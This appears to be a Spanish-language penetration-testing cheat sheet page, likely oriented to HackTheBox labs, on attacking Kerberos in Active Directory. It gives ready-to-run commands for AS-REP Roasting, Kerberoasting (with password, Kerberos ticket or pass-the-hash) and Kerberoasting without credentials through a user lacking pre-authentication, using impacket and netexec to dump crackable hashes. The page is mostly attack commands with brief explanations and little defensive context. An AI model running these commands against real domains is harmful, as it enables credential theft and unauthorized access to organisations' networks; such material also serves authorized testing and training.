Attacking Kerberos

AS-REP Roast Attack

Sí disponemos de un listado de usuarios válidos, realizar AS-REP Roast Attack para conseguir un Ticket Granting Ticket (TGT) y luego crackear su hash para obtener su contraseña.

Este ataque hace una consulta al DC si alguno de los usuarios que disponemos en el listado, tiene la flag de (DONT_REQ_PREAUTH) de Kerberos.

El ataque se puede intentar más veces si a lo largo encontramos más usuarios válidos. Desde BloodHound podemos ver los usuarios que tengan esta condición.

# AS-REP Roast desde impacket-GetNPUsers
impacket-GetNPUsers -no-pass -usersfile users.txt dominio.htb/ 2>/dev/null

# AS-REP Roast a través de impacket-GetNPUsers y un bucle while
while read username; do impacket-GetNPUsers dominio.htb/"$username" -request -no-pass -dc-ip 10.10.10.10 >> hashes.txt; done < users.txt 2>/dev/null

# AS-REP Roast a través de netexec
netexec ldap 10.10.10.10 -u users.txt -p '' --asreproast hashes.txt

Kerberoasting Attack

Si disponemos de credenciales válidas de un usuario del dominio, podemos efectuar un Kerberoasting Attack para conseguir un Ticket Granting Service (TGS) de un usuario que tenga asignado un servicePrincipalName (SPN).

Este hash obtenido, podemos intentar crackearlo para obtener sus credenciales en texto plano.

# Kerberoasting Attack a través de impacket-GetUserSPNs autenticación básica
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/'user':'password' -request 2>/dev/null

# Kerberoasting Attack a través de autenticación de Kerberos (disponer de ticket TGT en KRB5CCNAME)
impacket-GetUserSPNs -dc-ip 10.10.10.10 -dc-host dc.dominio.htb dominio.htb/user -k -no-pass -request 2>/dev/null

# Kerberoasting Attack realizando PassTheHash
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/user -hashes :<NTLM_HASH> -request 2>/dev/null

# Kerberoasting Attack a través de netexec
netexec ldap 10.10.10.10 -u 'user' -p 'password' --kerberoasting output.txt

En este caso, el usuario llamado usuarioASREP es susceptible a un AS-REP Roast, es decir, dispone de la flag (DONT_REQ_PREAUTH) de Kerberos habilitada.

Por lo tanto, podemos efectuar un Kerberoasting Attack sin disponer de credenciales válidas del dominio, pero teniendo un usuario que sea susceptible a AS-REP Roast.

impacket-GetUserSPNs -no-preauth 'usuarioASREP' -request -usersfile users.txt dominio.htb/ -dc-ip 10.10.10.10 2>/dev/null

Para más información, se puede consultar el siguiente blog en el cual explican el descubrimiento de este método.

Última actualización

¿Te fue útil?